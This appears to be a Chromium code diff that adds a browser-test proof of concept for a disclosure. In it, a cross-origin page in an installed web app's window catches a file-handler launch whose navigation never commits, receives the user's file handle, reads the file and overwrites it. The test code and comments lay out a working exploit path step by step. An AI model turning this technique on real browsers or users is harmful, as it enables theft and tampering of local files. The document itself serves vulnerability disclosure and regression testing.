diff --git a/chrome/browser/ui/web_applications/web_app_file_handling_browsertest.cc b/chrome/browser/ui/web_applications/web_app_file_handling_browsertest.cc index ebd30c7d8a998..2cbf1c0e090d1 100644 --- a/chrome/browser/ui/web_applications/web_app_file_handling_browsertest.cc +++ b/chrome/browser/ui/web_applications/web_app_file_handling_browsertest.cc @@ -3,6 +3,7 @@ // found in the LICENSE file. #include "base/files/file_path.h" +#include "base/files/file_util.h" #include "base/functional/bind.h" #include "base/memory/raw_ptr.h" #include "base/run_loop.h" @@ -601,4 +602,204 @@ IN_PROC_BROWSER_TEST_P(WebAppFileHandlingLaunchQueueBrowserTest, INSTANTIATE_FEATURE_OVERRIDE_TEST_SUITE( WebAppFileHandlingLaunchQueueBrowserTest); +// ============================================================================= +// SECURITY POC: Missing HasCommitted() check in LaunchQueue::DidFinishNavigation +// delivers File System Access handles to a cross-origin frame when the PWA +// file-handler navigation does not commit. +// ============================================================================= +// +// LaunchQueue::DidFinishNavigation() checks IsInScope(handle->GetURL()) but +// never checks handle->HasCommitted(). DidFinishNavigation fires for ALL +// navigation outcomes including 204/205 responses, downloads and ERR_ABORTED, +// where the WebContents stays at the previously-committed URL. handle->GetURL() +// returns the *target* URL of the cancelled navigation, so the in-scope check +// trivially passes, and SendQueuedLaunchParams() then binds the WebLaunchService +// on whatever frame is currently the primary main frame -- which, for a +// cancelled navigation, is the previous (potentially cross-origin) document. +// +// This test demonstrates the cleanest deterministic cancellation path: the +// file_handler action URL returns HTTP 204 No Content. In the wild the same +// state is reached when an attacker page in the PWA window supersedes the +// browser-initiated navigation with a renderer-initiated one (carrying +// transient user activation), causing the PWA navigation to be aborted via +// ERR_ABORTED before commit. +class WebAppFileHandlingCrossOriginLeakTest : public WebAppFileHandlingTestBase { + public: + // PWA scope is the origin root so that /nocontent (default 204 handler) + // is in-scope and usable as the file_handler action URL. + GURL GetPwaStartURL() { + return embedded_https_test_server().GetURL("app.com", "/ssl/google.html"); + } + GURL GetPwaScope() { + return embedded_https_test_server().GetURL("app.com", "/"); + } + GURL Get204ActionURL() { + return embedded_https_test_server().GetURL("app.com", "/nocontent"); + } + GURL GetAttackerURL() { + return embedded_https_test_server().GetURL("attacker.com", + "/ssl/blank_page.html"); + } + + webapps::AppId InstallPwaWith204FileHandlerAndNavigateExisting() { + auto info = WebAppInstallInfo::CreateWithStartUrlForTesting(GetPwaStartURL()); + info->scope = GetPwaScope(); + info->title = u"Victim PWA"; + // File handler whose action URL returns 204 No Content (never commits). + apps::FileHandler fh; + fh.action = Get204ActionURL(); + fh.accept.emplace_back(); + fh.accept[0].mime_type = "text/*"; + fh.accept[0].file_extensions.insert(".txt"); + info->file_handlers.push_back(std::move(fh)); + // navigate-existing so that file launches reuse the existing PWA window + // and call existing_tab->OpenURL() instead of opening a fresh tab. + info->launch_handler = blink::Manifest::LaunchHandler( + blink::Manifest::LaunchHandler::ClientMode::kNavigateExisting); + return WebAppBrowserTestBase::InstallWebApp(std::move(info)); + } +}; + +IN_PROC_BROWSER_TEST_F(WebAppFileHandlingCrossOriginLeakTest, + CancelledNavDeliversFileHandleCrossOrigin) { + // ---- Setup: install the victim PWA and open its window. ---- + webapps::AppId app_id = InstallPwaWith204FileHandlerAndNavigateExisting(); + Browser* app_browser = LaunchWebAppBrowserAndWait(app_id); + ASSERT_TRUE(app_browser); + content::WebContents* app_wc = + app_browser->tab_strip_model()->GetActiveWebContents(); + ASSERT_EQ(app_wc->GetLastCommittedURL(), GetPwaStartURL()); + + // ---- Step 1: PWA window navigates out-of-scope to attacker.com. ---- + // PWA windows allow out-of-scope navigation (they show a custom-tab-bar + // toolbar but do not block it). The AppBrowserController and WebAppTabHelper + // remain attached, so FindForWebApp() still returns this window. + ASSERT_TRUE(content::NavigateToURL(app_wc, GetAttackerURL())); + ASSERT_EQ(app_wc->GetLastCommittedURL(), GetAttackerURL()); + ASSERT_NE(url::Origin::Create(GetAttackerURL()), + url::Origin::Create(GetPwaStartURL())); + + // ---- Step 2: attacker.com registers a launchQueue consumer. ---- + // window.launchQueue is exposed unconditionally to all origins. + // (Trailing `true;` so ExecJs does not await the stored Promise.) + ASSERT_TRUE(content::ExecJs(app_wc, R"( + window.__stolenPromise = new Promise(resolve => { + window.launchQueue.setConsumer(params => { + window.__stolen = params; + resolve(true); + }); + }); + true; + )")); + + // ---- Step 3: create the "secret" file the user is opening. ---- + base::FilePath secret_file; + { + base::ScopedAllowBlockingForTesting allow_blocking; + ASSERT_TRUE(base::CreateTemporaryFile(&secret_file)); + base::FilePath with_ext = secret_file.AddExtensionASCII("txt"); + ASSERT_TRUE(base::ReplaceFile(secret_file, with_ext, nullptr)); + secret_file = with_ext; + ASSERT_TRUE(base::WriteFile(secret_file, "SECRET_FILE_CONTENTS")); + } + + // ---- Step 4: simulate "Open with -> Victim PWA" from the OS. ---- + // With client_mode=navigate-existing this finds the existing app window + // (currently showing attacker.com), calls existing_tab->OpenURL(action_url) + // and synchronously enqueues launch params with started_new_navigation=true. + // The navigation to /nocontent then receives 204 and finishes WITHOUT + // committing. We watch for that uncommitted DidFinishNavigation. + content::TestNavigationObserver nav_observer( + app_wc, /*expected_number_of_navigations=*/1, + content::MessageLoopRunner::QuitMode::IMMEDIATE, + /*ignore_uncommitted_navigations=*/false); + + apps::AppLaunchParams params(app_id, + apps::LaunchContainer::kLaunchContainerWindow, + WindowOpenDisposition::CURRENT_TAB, + apps::LaunchSource::kFromFileManager); + params.launch_files = {secret_file}; + params.override_url = Get204ActionURL(); + + base::test::TestFuture, + base::WeakPtr, + apps::LaunchContainer> + launch_future; + provider()->scheduler().LaunchAppWithCustomParams( + std::move(params), launch_future.GetCallback()); + ASSERT_TRUE(launch_future.Wait()); + // navigate-existing must reuse the existing WebContents. + ASSERT_EQ(launch_future.Get<1>().get(), app_wc); + + nav_observer.WaitForNavigationFinished(); + // Navigation to the action URL did NOT commit (204 No Content): + EXPECT_FALSE(nav_observer.last_navigation_succeeded()); + // The primary main frame is STILL the attacker's document: + ASSERT_EQ(app_wc->GetLastCommittedURL(), GetAttackerURL()); + + // ---- Step 5: BUG -- attacker.com received the file handle. ---- + // LaunchQueue::DidFinishNavigation saw an in-scope target URL on a + // non-committed navigation and pushed the FSA handle to the *current* + // primary main frame, which is attacker.com. + bool attacker_got_params = + content::EvalJs(app_wc, R"( + Promise.race([ + window.__stolenPromise, + new Promise(r => setTimeout(() => r(false), 5000)) + ]) + )").ExtractBool(); + ASSERT_TRUE(attacker_got_params) + << "VULN NOT TRIGGERED: cross-origin frame did not receive launch " + "params (bug may be fixed)"; + + // The launch params carry the PWA's target URL even though we are on + // attacker.com -- proves origin confusion in the browser process. + EXPECT_EQ(Get204ActionURL().spec(), + content::EvalJs(app_wc, "window.__stolen.targetURL")); + EXPECT_EQ(1, content::EvalJs(app_wc, "window.__stolen.files.length")); + EXPECT_EQ( + secret_file.BaseName().AsUTF8Unsafe(), + content::EvalJs(app_wc, "window.__stolen.files[0].name").ExtractString()); + + // The handle is fully functional: attacker.com can READ the file. + EXPECT_EQ("SECRET_FILE_CONTENTS", + content::EvalJs(app_wc, R"( + (async () => { + const f = await window.__stolen.files[0].getFile(); + return await f.text(); + })() + )")); + + // The handle was minted with UserAction::kSave so write permission is + // auto-granted for the PWA's origin -- and the capability is the pipe, + // not the caller's origin. + EXPECT_EQ("granted", + content::EvalJs(app_wc, R"( + window.__stolen.files[0].queryPermission({mode: 'readwrite'}) + )")); + + // attacker.com can WRITE to the file. + EXPECT_EQ("OWNED_BY_ATTACKER", + content::EvalJs(app_wc, R"( + (async () => { + const w = await window.__stolen.files[0].createWritable(); + await w.write('OWNED_BY_ATTACKER'); + await w.close(); + const f = await window.__stolen.files[0].getFile(); + return await f.text(); + })() + )")); + + LOG(ERROR) << "================================================"; + LOG(ERROR) << "VULNERABILITY CONFIRMED:"; + LOG(ERROR) << " Cross-origin page " << GetAttackerURL(); + LOG(ERROR) << " received a writable FileSystemAccess handle to"; + LOG(ERROR) << " " << secret_file; + LOG(ERROR) << " intended for PWA origin " + << url::Origin::Create(GetPwaStartURL()); + LOG(ERROR) << " via LaunchQueue::DidFinishNavigation on a navigation"; + LOG(ERROR) << " with HasCommitted()==false."; + LOG(ERROR) << "================================================"; +} + } // namespace web_app